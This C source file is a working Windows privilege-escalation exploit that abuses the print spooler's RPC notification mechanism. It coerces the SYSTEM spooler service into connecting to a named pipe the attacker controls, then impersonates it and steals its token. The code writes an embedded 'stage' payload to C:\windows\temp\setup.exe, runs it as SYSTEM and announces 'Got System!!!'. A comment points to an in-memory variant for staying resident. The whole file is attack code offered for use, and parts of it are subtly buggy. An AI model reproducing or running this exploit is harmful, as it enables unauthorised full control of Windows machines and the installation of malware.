#include <windows.h>

#include <stdio.h>
#include <sddl.h>
#include <userenv.h>

#include "exploit.h"
#include "ms-rprn_h.h"

#include "stage.h"

HANDLE CreateSpoolNamedPipe(LPCSTR* pPipeName)
{
    HANDLE hPipe = NULL;
    SECURITY_DESCRIPTOR sd = { 0 };
	SECURITY_ATTRIBUTES sa = { 0 };

    pPipeName = "\\\\.\\pipe\\barnofoo\\pipe\\spoolss";

    if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
	{
        printf("InitializeSecurityDescriptor(): FAILED\n");
        return NULL;
    }

    if (!ConvertStringSecurityDescriptorToSecurityDescriptorA("D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
	{
        printf("ConvertStringSecurityDescriptorToSecurityDescriptorA(): FAILED\n");
        return NULL;    
    }

    hPipe = CreateNamedPipeA(pPipeName, 
                             PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, 
                             PIPE_TYPE_BYTE | PIPE_WAIT, 
                             10, 
                             2048, 
                             2048, 
                             0, 
                             &sa);

    if (hPipe == INVALID_HANDLE_VALUE)
    {
        printf("CreateNamedPipeA(): FAILED\n");
        return NULL;   
    }

    return hPipe;
}

HANDLE GetSpoolPipeEvent(HANDLE hPipe)
{
    HANDLE hPipeEvent = INVALID_HANDLE_VALUE;
	OVERLAPPED ol = { 0 };

    hPipeEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (!hPipeEvent)
    {
        printf("CreateEvent() FAILED\n");
        return NULL;
    }

    ZeroMemory(&ol, sizeof(OVERLAPPED));
	ol.hEvent = hPipeEvent;
    
    if (!ConnectNamedPipe(hPipe, &ol))
	{
        if (GetLastError() != ERROR_IO_PENDING)
        {
            printf("ConnectNamedPipe() FAILED\n");
            return NULL;
        }
    }

    return hPipeEvent;
}

DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam)
{
    HRESULT hr = NULL;
	PRINTER_HANDLE hPrinter = NULL;
	DEVMODE_CONTAINER devmodeContainer = { 0 };

    LPWSTR pwszComputerName = NULL;
	DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1;

    LPWSTR pwszTargetServer = NULL;
	LPWSTR pwszCaptureServer = NULL;

    LPCSTR PipeName = (LPCSTR)lpParam;

    pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR));
    if (!GetComputerNameW(pwszComputerName, &dwComputerNameLen))
    {
        printf("GetComputerNameW() FAILED");
        return NULL;
    }

    pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
    pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));

    swprintf(pwszTargetServer, MAX_PATH, L"\\\\%s", pwszComputerName);
    swprintf(pwszCaptureServer, MAX_PATH, L"\\\\%s/pipe/barnofoo", pwszComputerName, PipeName);

    if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
    {			
        RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
		RpcClosePrinter(&hPrinter);
    }

    return NULL;
}

HANDLE TriggerNamedPipeConnection(LPCSTR PipeName)
{
    HANDLE hThread = NULL;
	DWORD dwThreadId = 0;

    hThread = CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, PipeName, 0, &dwThreadId);
    if (!hThread)
    {
        printf("CreateThread() FAILED");
        return NULL;
    }

    return hThread;
}

BOOL GetSystem(HANDLE hPipe)
{
    HANDLE token;
    HANDLE ptoken;
    HANDLE pHandle;
    FILE* write_ptr;
	HANDLE newtoken;
    STARTUPINFOA si;
	PROCESS_INFORMATION pi;

    if (!ImpersonateNamedPipeClient(hPipe))
	{
		printf("ImpersonateNamedPipeClient() FAILED\n");
        return NULL;
	}

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
        printf("OpenThreadToken() FAILED\n");
        return NULL;
    }

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {
        printf("OpenProcessToken() FAILED\n");
        return NULL;
    }

    if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {
        printf("DuplicateTokenEx() FAILED\n");
        return NULL;
    }

    // write to disk, theres another module if u want to stay in memory
    write_ptr = fopen("C:\\windows\\temp\\setup.exe", "wb");
    fwrite(stage, sizeof stage, 1, write_ptr);
    fclose(write_ptr);

    if (!CreateProcessAsUserA(newtoken, NULL, L"C:\\windows\\temp\\setup.exe", NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"C:\\windows\\temp\\setup.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
            printf("CreateProcessWithTokenW() FAILED\n");
            printf("ERROR CODE: %d\n", GetLastError());
            return NULL;
        }
    }

    return TRUE;
}

int main()
{
    LPCSTR PipeName;
    HANDLE hSpoolPipe = INVALID_HANDLE_VALUE;
	HANDLE hSpoolPipeEvent = INVALID_HANDLE_VALUE;
	HANDLE hSpoolTriggerThread = INVALID_HANDLE_VALUE;
	DWORD dwWait = 0;

    hSpoolPipe = CreateSpoolNamedPipe(&PipeName);
    if (hSpoolPipe == INVALID_HANDLE_VALUE)
    {
        printf("CreateSpoolNamedPipe() FAILED\n");
        return NULL;
    }

    hSpoolPipeEvent = GetSpoolPipeEvent(hSpoolPipe);
    if (hSpoolPipeEvent == INVALID_HANDLE_VALUE)
    {
        printf("GetSpoolPipeEvent() FAILED\n");
        return NULL;
    }

    printf("[i] Pipe is listening...\n");
    printf("[i] Triggering connection...\n");

    hSpoolTriggerThread = TriggerNamedPipeConnection(PipeName);
    if (!hSpoolTriggerThread)
    {
        printf("TriggerNamedPipeConnection() FAILED\n");
        return NULL;
    }

    dwWait = WaitForSingleObject(hSpoolPipeEvent, 5000);
	if (dwWait != WAIT_OBJECT_0)
	{
		printf(L"WaitForSingleObject() Failed or Timedout\n");
		return NULL;
	}

    if(!GetSystem(hSpoolPipe))
    {
        printf("GetSystem() FAILED\n");
        return NULL;
    }

    printf("[+] Got System!!!\n");
    exit(1);
}

handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
	RPC_STATUS RpcStatus;
	RPC_WSTR StringBinding;
	handle_t BindingHandle;

	if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK)
		return NULL;

	RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);

	RpcStringFreeW(&StringBinding);

	if (RpcStatus != RPC_S_OK)
		return NULL;

	return BindingHandle;
}

void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
	RpcBindingFree(&BindingHandle);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
	return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
	free(p);
}
